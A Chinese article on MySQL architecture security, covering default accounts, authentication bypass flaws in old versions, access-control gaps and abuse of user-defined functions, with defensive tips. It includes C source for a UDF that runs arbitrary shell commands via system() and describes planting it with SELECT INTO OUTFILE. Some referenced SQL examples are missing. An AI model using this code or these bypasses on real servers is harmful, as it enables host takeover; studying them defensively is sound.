新聞中心
【.com獨(dú)家特稿】本文將為讀者詳細(xì)介紹MySQL數(shù)據(jù)庫在體系結(jié)構(gòu)方面的安全問題以及相應(yīng)的攻擊方法,在后續(xù)的文章中我們將介紹相應(yīng)的防御措施。

10年積累的成都做網(wǎng)站、成都網(wǎng)站建設(shè)經(jīng)驗,可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認(rèn)識你,你也不認(rèn)識我。但先網(wǎng)站設(shè)計后付款的網(wǎng)站建設(shè)流程,更有昆明免費(fèi)網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。
一、MySQL支持的機(jī)器體系結(jié)構(gòu)
MySQL自稱是當(dāng)今世界上最流行的開源數(shù)據(jù)庫,并且是免費(fèi)發(fā)行,同時還能運(yùn)行在各種平臺之上——這也正是黑客們對它趨之若鶩的原因。與其它大型數(shù)據(jù)庫相比較而言,它的配置工作要容易、簡單得多,并且性能也說的過去。盡管它的用法相對來說簡單一些,但是在安全配置方面還是有大量的工作要做的,這也是許多數(shù)據(jù)庫存在安全隱患的原因之一。
一般情況下,人們都是通過二進(jìn)制文件程序包來安裝MySQL數(shù)據(jù)庫服務(wù)器,這時它可以安裝到如下所示的系統(tǒng):Linux x86、Linux IA64、Linux AMD64、Windows、Solaris、FreeBSD、Mac OS X、HP-UX、IBM AIX、QNX、Novell Netware、OpenBSD、SGI IRIX、DEC OSF;如果從源代碼進(jìn)行安裝的話,那么它能支持的平臺還要多。
#p#
二、MySQL的部署
由于MySQL服務(wù)器是如此流行,以至于在網(wǎng)絡(luò)中的任何角落幾乎都能找到它的身影,實(shí)際上,它不僅安裝到專用服務(wù)器中,就連桌面機(jī)器中也常見它的蹤跡。
在一般的配置中,客戶端會通過TCP 3306端口連接到MySQL。對于Windows平臺而言,還可以通過有名管道使用MySQL,不過一般不推薦這樣配置。默認(rèn)情況下,以有名管道模式運(yùn)行的MySQL會同時偵聽TCP 3306端口和一個名為MySQL的有名管道。與諸如Oracle之類的數(shù)據(jù)庫系統(tǒng)相比,MySQL使用的網(wǎng)絡(luò)協(xié)議就比較簡單了,并且默認(rèn)情況下是使用明文通信,當(dāng)然也可以使用SSL來保護(hù)通信。啟用SSL協(xié)議后,數(shù)據(jù)庫仍然是一TCP 3306端口。
您可以很輕松地檢測一臺主機(jī)上運(yùn)行的MySQL的版本,因為只要連接該機(jī)器,它就會返回數(shù)據(jù)庫的主要版本號和次要版本號,某些版本還會提供操作系統(tǒng)的提示信息。任何能夠抓取旗標(biāo)的TCP端口掃描器都能夠返回MySQL版本。
MySQL最普遍的應(yīng)用是為動態(tài)web應(yīng)用程序提供后端支持,當(dāng)我們掃描網(wǎng)絡(luò)時見到的MySQL通常出現(xiàn)在Apache/PHP應(yīng)用程序的后端,甚至有時候它竟跟web服務(wù)器運(yùn)行在同一臺主機(jī)上。在一些大型組織中,它常用作日志記錄服務(wù)器,用于存放入侵檢測系統(tǒng)日志、web日志或者其他審計任務(wù)。有些情況下,特別是在開發(fā)環(huán)境中,MySQL經(jīng)常被安裝到一臺桌面機(jī)器上,所以在PC上掃描到它也就不足為奇了。
由于MySQL通信協(xié)議是明文通信,因此人們喜歡在MySQL服務(wù)器所在主機(jī)上同時安裝一個SSH服務(wù)器,并使用端口轉(zhuǎn)發(fā)技術(shù)通過加密隧道連接至3306端口。這種方法有幾種好處:數(shù)據(jù)在運(yùn)輸中是加密的,并強(qiáng)迫執(zhí)行一個額外的認(rèn)證步驟,同時還給該數(shù)據(jù)庫的連接提供了額外的審計記錄。
此外,有人認(rèn)為MySQL服務(wù)器應(yīng)該與web服務(wù)器安裝到同一臺機(jī)器上,因為這樣可以避免遠(yuǎn)程連接,但是這種配置本身就是不安全的。之所以這樣說,是因為MySQL的數(shù)據(jù)表是以文件的形式存儲的,并且通常沒有鎖定,那么一旦Web應(yīng)用程序出現(xiàn)文件泄露漏洞,這就使得攻擊者能夠下載數(shù)據(jù)庫的所有內(nèi)容。從另一方面來說,Web應(yīng)用程序中的SQL注入漏洞也可能導(dǎo)致攻擊者得以修改web服務(wù)器上的腳本內(nèi)容。恰當(dāng)?shù)奈募?quán)限可以防止此類問題,但是除此之外,將web服務(wù)器和數(shù)據(jù)庫服務(wù)器置于同一臺機(jī)器上還為攻擊者敞開了許多其它的方便之門。
#p#
三、WinMySQLAdmin簡介
當(dāng)MySQL安裝到Windows平臺的時候,通常會提供WinMySQLAdmin工具。當(dāng)這個工具第一次運(yùn)行時,它會將自身添加到運(yùn)行它的用戶所在的啟動組。當(dāng)它運(yùn)行時,WinMySQLAdmin會自動地啟動MySQL,這會導(dǎo)致運(yùn)行于Windows主機(jī)的MySQL的實(shí)例在無意間被運(yùn)行。
此外,當(dāng)WinMySQLAdmin運(yùn)行于沒有默認(rèn)MySQL用戶帳戶的主機(jī)時,它會要求用戶創(chuàng)建一個用戶名和口令對,并將這些憑證以明文形式存儲在系統(tǒng)根目錄(例如,c:\winnt)下的my.ini文件中。這個文件通常對該主機(jī)上的任何用戶來說都是可讀的。
#p#
四、缺省用戶名和口令
MySQL的默認(rèn)配置隨平臺、部署模式、發(fā)行版本(源代碼或者二進(jìn)制文件)和初始配置的不同而異,在有些情況下MySQL服務(wù)器一經(jīng)安裝就可能被遠(yuǎn)程攻擊者所攻陷——如果缺省配置有問題的話。舉例來說,MySQL 4.0.20的一些默認(rèn)配置下,表mysql.user中有四條缺省記錄,有兩條用于root帳戶,另兩條用于匿名帳戶。并且,有一個帶有root權(quán)限的遠(yuǎn)程表項是給主機(jī)build上的根用戶的。這些表中的表項的具體含義,我們會在后面加以詳解,現(xiàn)在我們只需知道的是:
如果您位于本地主機(jī),那么您可以作為密碼為空的root根用戶通過身份驗證,并獲得數(shù)據(jù)庫的完全控制權(quán)。如果您位于本地主機(jī),您可以使用任何用戶名通過身份驗證,并獲得對該數(shù)據(jù)庫的來賓訪問權(quán)限。如果您位于一個遠(yuǎn)程主機(jī)上,同時能夠控制服務(wù)器的名稱解析,這樣的話就可以使你的主機(jī)名看起來是“build”,所以您就可以作為密碼為空的root用戶通過身份驗證,從而獲得數(shù)據(jù)庫的完全控制權(quán)。如果您位于一臺名為build的遠(yuǎn)程主機(jī)上,那么您就可以使用任何用戶名來通過身份驗證,并獲得數(shù)據(jù)庫的來賓訪問權(quán)限。
在Windows主機(jī)上,根帳戶的存在會導(dǎo)致任何本地用戶都能將自身權(quán)限提升為本地系統(tǒng)級訪問權(quán)限;而在默認(rèn)情形下,MySQL就是運(yùn)行在系統(tǒng)權(quán)限級別的。糟糕的是,攻擊者只需簡單將其機(jī)器命名為build,那么他就輕而易舉地獲得了對運(yùn)行MySQL服務(wù)的機(jī)器的遠(yuǎn)程系統(tǒng)級訪問權(quán)限。當(dāng)然,攻擊者必須位于目標(biāo)所在的同一個NetBIOS名字域中,或者能夠偽造一個DNS響應(yīng)。針對這一問題的防御方法是:
- 安裝MySQL時禁用網(wǎng)絡(luò)連接。
- 安裝之后立即刪除mysql.user表中除本地主機(jī)root帳戶之外的全部帳戶。
- 為本地主機(jī)root帳戶設(shè)置一個復(fù)雜的密碼。
#p#
五、身份驗證協(xié)議中的安全漏洞
MySQL使用一個專有協(xié)議進(jìn)行身份驗證和發(fā)送接收數(shù)據(jù)。這個協(xié)議比較簡單,所以可以為MySQL輕松編寫一個定制的客戶端。換句話說,MySQL身份驗證協(xié)議的各版本中的嚴(yán)重漏洞可能會導(dǎo)致服務(wù)器立即被攻陷。下面我們介紹之前發(fā)現(xiàn)的一些漏洞,以及針對這些漏洞的攻擊方法。
描述這些攻擊方法之前,我們先來大致介紹涉及身份驗證協(xié)議的包格式和加密機(jī)制。當(dāng)客戶端連接服務(wù)器時,服務(wù)器問候數(shù)據(jù)包,其中包含下列域:
- Packet Length (3 bytes)
- Packet Number (1 byte)
- Protocol Version (1 byte)
- Server Version String (以null結(jié)尾)
- Server Thread ID (4 bytes)
- Challenge String (以null結(jié)尾)
- Server Capabilities Flags (2 bytes)
- Server Character Set (1 byte)
- Server Status (2 bytes)
- Padding (數(shù)據(jù)包的其余部分)
就身份驗證協(xié)議而言,有關(guān)的內(nèi)容是Protocol Version和Challenge域,但是Server Version String域則對確定服務(wù)器容易受到哪些身份驗證漏洞的攻擊非常有幫助。客戶端然后會發(fā)送一個身份驗證數(shù)據(jù)包給服務(wù)器:
- Packet Length (3 bytes)
- Packet Number (1 byte)
- Client Capabilities (2 bytes)
- Max packet size (3 bytes)
- Username (以null結(jié)尾)
- Password (challenge響應(yīng)以null結(jié)尾)
下面我們對身份驗證協(xié)議中的安全漏洞進(jìn)行介紹。MySQL身份驗證協(xié)議中已經(jīng)發(fā)現(xiàn)過許多安全漏洞,我們這里略舉一二。
#p#
身份驗證協(xié)議4.1版本之前的基本密碼弱點(diǎn)
4.1版本之前的MySQL,無需知道密碼,只要知道密碼的hash值(包含在mysql.user表中)就能通過身份驗證——這意味著,攻擊者根本無需編寫密碼雜湊值的破解程序,因為修改標(biāo)準(zhǔn)MySQL客戶端讓它接受密碼雜湊而非密碼要容易多了。當(dāng)然,用戶傾向于多處使用同一個密碼,尤其是root密碼,所以破解任何一個密碼的雜湊值,就極有可能在多個地方派上用場。
3.23.11版本之前的身份驗證算法
3.23.11版本之前的MySQL的身份驗證機(jī)制中有一個嚴(yán)重的缺陷,即攻擊者僅僅使用雜湊后的密碼的單個字符就能通過身份驗證。其實(shí)雜湊后的字符串由32個字符中的某些字符構(gòu)成的,所以攻擊者只需進(jìn)行少量猜測就能登錄。
3.23.54版本之前的CHANGE_USER
對于3.23.54版本之前的MySQL來說,如果用戶可以進(jìn)行身份驗證,它就有機(jī)會提交一個超長字符串(來觸發(fā)緩沖區(qū)溢出)或者單字節(jié)字符串的CHANGE_USER命令來提權(quán)。
4.1.1、4.1.2和5.0.0版本中的身份驗證算法
通過提交一個精心制作的身份驗證數(shù)據(jù)分組,對于攻擊者而言,就有可能繞過在4.1.0到4.1.2以及5.0早期構(gòu)建版的MySQL中的密碼身份驗證機(jī)制。下面的代碼取自sql_parse.cpp文件的check_connection代碼:
/*
舊版本的客戶端發(fā)送以null結(jié)束的字符串作為密碼;新客戶端使用尺寸(1字節(jié))+字符串(并非以null作為終止符)作為密碼。 因此如果是空密碼的話,兩者都會發(fā)送'\0'。
*/
uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);
0x8000是在客戶端的能力標(biāo)志中規(guī)定的,用戶可以指定所選的passwd_len字段。對于該攻擊,我們選擇0x14 (20),這是我們預(yù)期的SHA1雜湊長度。
現(xiàn)在要執(zhí)行多道檢測以保證用戶是從授權(quán)連接的主機(jī)上進(jìn)行身份驗證。通過這些檢測后,我們到達(dá):
/* 檢查密碼:它應(yīng)該為空或者是正確的 */
if (passwd_len == acl_user_tmp->salt_len)
{
if (acl_user_tmp->salt_len == 0 ||
acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
check_scramble_323(passwd, thd->scramble,
(ulong *) acl_user_tmp->salt) == 0)
{
acl_user= acl_user_tmp;
res= 0;
}
}
Check_scramble函數(shù)失敗,但是在check_scramble_323函數(shù)之內(nèi)我們看到:
my_bool
check_scramble_323(const char *scrambled, const char *message,
ulong *hash_pass)
{
struct rand_struct rand_st;
ulong hash_message[2];
char buff[16],*to,extra;
const char *pos;
hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
randominit(&rand_st,hash_pass[0] ^ hash_message[0],
hash_pass[1] ^ hash_message[1]);
to=buff;
for (pos=scrambled ; *pos ; pos++)
*to++=(char) (floor(my_rnd(&rand_st)*31)+64);
extra=(char) (floor(my_rnd(&rand_st)*31));
to=buff;
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* 密碼錯誤 */
}
return 0;
}
現(xiàn)在,用戶已經(jīng)規(guī)定了一個他想要的雜湊字符串,本例為一個零長度的字符串。最后的循環(huán)對雜湊字符串與MySQL已知正確響應(yīng)字符串進(jìn)行逐字符比較,直到雜湊字符串中的所有字符都比較完為止。由于在雜湊字符串中根本沒有要比對的字符,所以函數(shù)會立即返回0,即允許用戶使用零長度字符串通過身份驗證。
這個缺陷的利用方法相當(dāng)簡單,但是我們還是必須要編寫一個定制的MySQL客戶端才行。除了使用零長度字符串繞過身份驗證外,還可以使用長雜湊字符串來溢出基于堆棧的緩沖區(qū)。我們可以使用偽隨機(jī)數(shù)發(fā)生器my_rnd()函數(shù)輸出的字符來溢出該緩沖區(qū)。字符的范圍介于0x40到0x5f之間。對于一些平臺來說,執(zhí)行任意代碼是可能的,但是該漏洞利用非常復(fù)雜,并且需要進(jìn)行暴力破解,或者知道一個密碼雜湊值。
為了進(jìn)行這些攻擊,攻擊者必須知道或者能猜出用戶的名稱,所以重命名MySQL的root帳戶不失為一個有效的預(yù)防措施。此外,有關(guān)賬戶還必須能夠從攻擊者的主機(jī)進(jìn)行訪問,所以應(yīng)用基于IP地址的登錄限制也能減輕這些漏洞所帶來的危害。
#p#
六、利用體系結(jié)構(gòu)設(shè)計缺陷
下面,我們將介紹設(shè)計缺陷有哪些?如何利用這些缺陷?以及如何識別和抵御這些攻擊。
對于MySQL,歷史上曾經(jīng)出現(xiàn)過多個設(shè)計缺陷,它們主要影響身份驗證協(xié)議,這些我們在上文中已經(jīng)介紹過了。下面,我們將從更通用的、體系結(jié)構(gòu)的角度來考察在MySQL中的各種安全弱點(diǎn)。
認(rèn)證機(jī)制中的各種漏洞允許遠(yuǎn)程用戶無需任何憑證就可以通過身份認(rèn)證,這些應(yīng)該屬于體系結(jié)構(gòu)漏洞中最嚴(yán)重的一類。
我們知道,凡事都有其兩面性,MySQL的簡單性雖然給我們帶來了便利,但是它同時也成為了其最大的弱點(diǎn)。舉例來說,Microsoft SQL Server的一個極其有用的特性就是能夠在遠(yuǎn)程數(shù)據(jù)庫服務(wù)器上執(zhí)行查詢,比如我們可向服務(wù)器發(fā)送一個如下所示的查詢:
SQL Server中的OpenRowset語句允許您在SQL Server查詢過程中向另一個(運(yùn)行不同的數(shù)據(jù)庫管理系統(tǒng)的)服務(wù)器提交查詢。但是這個特性很容易被濫用。據(jù)我們所知,最常用的濫用方式之一是可以通過它來掃描該SQL Server所在網(wǎng)絡(luò)的端口,因為它可以利用不同長度的響應(yīng)時間來確定遠(yuǎn)程主機(jī)是否存在,是否為SQL Server。
而對于MySQL來說,由于沒有對應(yīng)的OpenRowset語句,因此MySQL也就不會遭受此類攻擊了??蓡栴}是,如果軟件的行為太簡單,那么就可能缺少針對濫用的保護(hù)措施。
#p#
七、利用用戶定義的函數(shù)
幾乎每個數(shù)據(jù)庫管理系統(tǒng)都提供了調(diào)用定制的本機(jī)代碼的機(jī)制,例如SQL Server有擴(kuò)展存儲過程的概念,Oracle有外部存儲過錯的概念,等等。雖然這些機(jī)制的名稱不同,但是基本原理是一致的,那就是用戶創(chuàng)建一個可動態(tài)裝載程序庫(在windows上為.dll;在linux中為共享對象.so),然后數(shù)據(jù)庫可以通過SQL語句來調(diào)用這個庫。
由于大多數(shù)數(shù)據(jù)庫運(yùn)行在管理權(quán)限上,或者至少能控制他們自己代碼和數(shù)據(jù),因此這就會招致一個嚴(yán)重的安全問題。如果一個MySQL用戶可以創(chuàng)建和執(zhí)行一個惡意UDF,那么整個數(shù)據(jù)庫服務(wù)器的安全性就會岌岌可危。
觸發(fā)添加和使用UDF的過程的內(nèi)容,我們前面已經(jīng)講過一些了,這里將深入探討更多的細(xì)節(jié),因為一旦MySQL本身被攻陷,那么也會殃及MySQL所在的主機(jī),而有時候利用惡意UDF攻陷MySQL是件非常簡單的事情。
MySQL提供了一個機(jī)制,通過該機(jī)制可以擴(kuò)展默認(rèn)函數(shù)集,方法是編寫定制的包含用戶定義的函數(shù)或者UDFs的動態(tài)庫。這個機(jī)制可以通過CREATE FUNCTION語句加以訪問,而MySQL.func表中的表項則可以手動添加。包含函數(shù)的程序庫必須能夠從MySQL裝入動態(tài)庫時所用的路徑加以訪問。
#p#
攻擊者濫用這個機(jī)制的通常方式是,創(chuàng)建一個惡意程序庫,然后使用SELECT . . . INTO OUTFILE將其放到一個適當(dāng)?shù)哪夸浿?。該程序庫就位之后,攻擊者需要更新或者插入mysql.func表,以便配置MySQL使其加載該程序庫并執(zhí)行該函數(shù)。一個UDF程序庫示例源代碼如下所示:
#include
#include
/*
可以使用下列編譯器編譯該代碼:
gcc -g -c so_system.c
然后執(zhí)行如下所示命令:
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count; /* 參數(shù)數(shù)目 */
enum Item_result *arg_type; /* 指向item_results的指針 */
char **args; /* 參數(shù)指針 */
unsigned long *lengths; /* 字符串參數(shù)的長度 */
char *maybe_null; /* 對于所有的maybe_null參數(shù),都設(shè)為1 */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null; /* 如果函數(shù)返回NULL,則為1 */
unsigned int decimals; /* 用于實(shí)函數(shù) */
unsigned long max_length; /* 用于串函數(shù) */
char *ptr; /* 函數(shù)數(shù)據(jù)指針 */
char const_item; /* 如果結(jié)果與參數(shù)無關(guān),則為0 */
} UDF_INIT;
int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}
函數(shù)可以通過如下所示的命令來添加至MySQL:
然后,mysql.func表看上去會是這樣的(您還可以通過手動方式更新):
于是,我們就可以像下面這樣來調(diào)用函數(shù)了:
即使攻擊者受文件權(quán)限的制約無法在目標(biāo)系統(tǒng)上創(chuàng)建自己所有的程序庫,但是他仍然可以通過一個現(xiàn)有的函數(shù)來達(dá)到不可告人的目的。攻擊者的難點(diǎn)在于大多數(shù)函數(shù)的參數(shù)表不可能匹配MySQL UDF的原型:
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
當(dāng)然,機(jī)智的攻擊者可能會通過調(diào)用一個當(dāng)解釋傳給MySQL的參數(shù)時會出現(xiàn)某種可控故障的程序庫來設(shè)法執(zhí)行任意的代碼。然而,現(xiàn)有的系統(tǒng)程序庫中的函數(shù)仍然可能會做壞事——舉例來說,在Windows系統(tǒng)中將ExitProcess作為MySQL UDF進(jìn)行調(diào)用,這會導(dǎo)致MySQL立即退出——即使發(fā)起調(diào)用的用戶不具備Shutdown_priv權(quán)限:
您還可以鎖住當(dāng)前登錄用戶的工作站,只要使用下列命令,其效果跟按下CTRL-ALT-DEL一樣:
然后工作站就會被鎖定。
總之,在MySQL中的UDF機(jī)制對于開發(fā)人員來說是極其靈活和有用的,但是也給攻擊者帶來了莫大的幫助。所以,防御此類攻擊的最好措施就是,仔細(xì)分配MySQL權(quán)限(特別是MySQL數(shù)據(jù)庫和mysql.func表有關(guān)的權(quán)限)、文件權(quán)限以及限制使用SELECT . . . INTO OUTFILE。
#p#
八、利用訪問控制系統(tǒng)中的漏洞
由于4.1.x版本之前版本沒有實(shí)現(xiàn)視圖,因此也就沒有記錄級別的安全機(jī)制。對于某些用戶來說,這可能是一個問題,并且在有些情況下缺少可用的安全配置,所以它們最好選擇更高版本。舉例來說,假設(shè)一個數(shù)據(jù)倉儲系統(tǒng)使用MySQL用戶來確定哪些用戶可以執(zhí)行哪些動作,該用戶通常想要做的事情之一就是更改他們的口令,所以該軟件使用了一個表單查詢實(shí)現(xiàn)了該功能:
現(xiàn)在假設(shè)入庫腳本存在被可以替換 參數(shù)中的用戶名的用戶的攻擊的弱點(diǎn),對于帶有記錄級別安全控制機(jī)制的系統(tǒng)來說,攻擊者仍然無法改變另一個用戶的密碼,因為他只有更新自己數(shù)據(jù)的權(quán)限。由于4.1.x版本及其之前版本的MySQL數(shù)據(jù)庫管理系統(tǒng)沒有實(shí)現(xiàn)記錄級別的安全機(jī)制,因此每一用戶毫無疑問都能更新所有其他用戶的密碼,這將導(dǎo)致非常嚴(yán)重的安全問題。
#p#
九、利用缺乏的安全特性
MySQL沒有內(nèi)置訪問違例審計機(jī)制,但是它支持所有連接和查詢的完整日志記錄。 這對于安全性的影響是顯而易見的,在一些情況下,缺乏本地審計時一個非常大的安全問題。然而,由于提供了對調(diào)試日志記錄的支持,使得MySQL能夠通過--log選項記錄每一連接和語句到日志文件。
前面提到的MySQL存儲引擎大部分都不支持引用完整性或者事務(wù)。雖然這些特性是可用的,但是默認(rèn)的存儲引擎MyISAM卻沒有實(shí)現(xiàn)這些特性。 因此,下面的討論只是針對MySQL的默認(rèn)行為的,當(dāng)然,我們這里討論的某些問題也可能出現(xiàn)在那些功能不是很豐富的數(shù)據(jù)庫管理系統(tǒng)中。
在一些缺乏引用完整性的應(yīng)用程序中,可能會出現(xiàn)競態(tài)條件從而引起安全問題,舉例來說,假設(shè)我們的應(yīng)用程序通過一個用戶表來執(zhí)行其安全模型:
create table users( username varchar(200), password varchar( 200 ), userid int );
insert into users values ( 'admin', 'iamroot', 0 );
insert into users values ( 'fred', 'sesame', 1 );
insert into users values ( 'joe', 'joe', 2 );
這些用戶有權(quán)訪問一些資源,并使用編號進(jìn)行標(biāo)識:
create table resources( name varchar( 200 ), resourceid int );
insert into resources values( 'printer', 1 );
insert into resources values( 'filesystem', 2 );
insert into resources values( 'network', 3 );
這些資源的訪問權(quán)限是通過一個訪問控制表來實(shí)現(xiàn)的,表中的記錄決定用戶是否可以訪問各個資源:
create table accesscontrol( userid int, resourceid int, allowed int );
# Admin可以訪問下面三種資源:
insert into accesscontrol values ( 0, 1, 1 );
insert into accesscontrol values ( 0, 2, 1 );
insert into accesscontrol values ( 0, 3, 1 );
# Fred可以訪問文件系統(tǒng)和網(wǎng)絡(luò):
insert into accesscontrol values ( 1, 2, 1 );
insert into accesscontrol values ( 1, 3, 1 );
#Joe只能訪問打印機(jī)
insert into accesscontrol values ( 2, 1, 1 );
#p#
假設(shè)我們沒有強(qiáng)制執(zhí)行引用完整性,如果我們利用id 2刪除用戶joe,如下所示:
表accesscontrol中與joe有關(guān)的的所有記錄仍然在那里。如果我們借助下一個可用的id(即2)添加另一個用戶的話,那么這個用戶就會繼承joe在accesscontrol表中的記錄。
對于提供引用完整性的數(shù)據(jù)庫來說,我們就可以規(guī)定該用戶標(biāo)識為accesscontrol表中的外鍵,這樣,當(dāng)該用戶的記錄刪除時,那么在accesscontrol中對應(yīng)的所有記錄也會自動刪除。
然而,在默認(rèn)情形下缺乏事務(wù)支持也可能會導(dǎo)致安全隱患。舉例來說,假設(shè)實(shí)現(xiàn)前面的系統(tǒng)的公司具有審計每次密碼改變的要求, 同時假定使用了如下所示的查詢:
假定這兩次查詢之間的服務(wù)器連接失敗。用戶的密碼將已經(jīng)更改,但是系統(tǒng)尚未進(jìn)行審計。如果我們正在使用非默認(rèn)的、支持事務(wù)的MySQL存儲引擎,那么我們就可以在第一個語句之前開始事務(wù),然后在第二個語句之后提交事務(wù),那么密碼改變就不會漏掉審計了。
在4.0版本之前,MySQL并不支持UNION語句。由于SQL注入是最常見的數(shù)據(jù)庫攻擊形式之一,而UNION又是攻擊者的指令表中的關(guān)鍵部分,因此在防御SQL注入攻擊方面,通常認(rèn)為4.0版之前的MySQL要比其他數(shù)據(jù)庫系統(tǒng)更加安全。然而,應(yīng)用開發(fā)人員卻對這一局限性頗為不滿;此外,如果您運(yùn)行版本較老的MySQL的話,那就會受到目前已經(jīng)修復(fù)的安全漏洞的威脅。所以,如果有一個功能受限同時又補(bǔ)丁齊全的MySQL就好了,但是看起來這是不可能的。如果讀者有志于此的話,抽時間您可以親自動手試試。
此外,4.1版本之前的MySQL并不支持子查詢,下面是一個子查詢的例子:
由于進(jìn)行SQL注入攻擊時,攻擊者通常能控制查詢字符串的部分字符,所以如果缺乏子查詢的話,那么從安全的角度來說倒是一個優(yōu)點(diǎn)。然而,現(xiàn)實(shí)中如果缺乏某些特性的話,MySQL是很難推薦給管理層的,更別說開發(fā)團(tuán)隊了?!叭狈δ堋庇袝r候也是有好處的,例如Oracle沒有十分詳細(xì)的錯誤信息,但是對于SQL Server 來說,這可能從錯誤信息文本中檢索數(shù)據(jù),不過還好MySQL并沒有效仿這一點(diǎn)。
#p#
十、小結(jié)
在本文中,我們?yōu)樽x者詳細(xì)介紹了MySQL數(shù)據(jù)庫在體系結(jié)構(gòu)方面的安全問題以及相應(yīng)的攻擊方法,在后續(xù)的文章中我們將介紹相應(yīng)的防御措施。
分享標(biāo)題:MySQL安全攻防實(shí)戰(zhàn)指南之體系結(jié)構(gòu)篇
當(dāng)前URL:http://m.5511xx.com/article/djcgspc.html


咨詢
建站咨詢
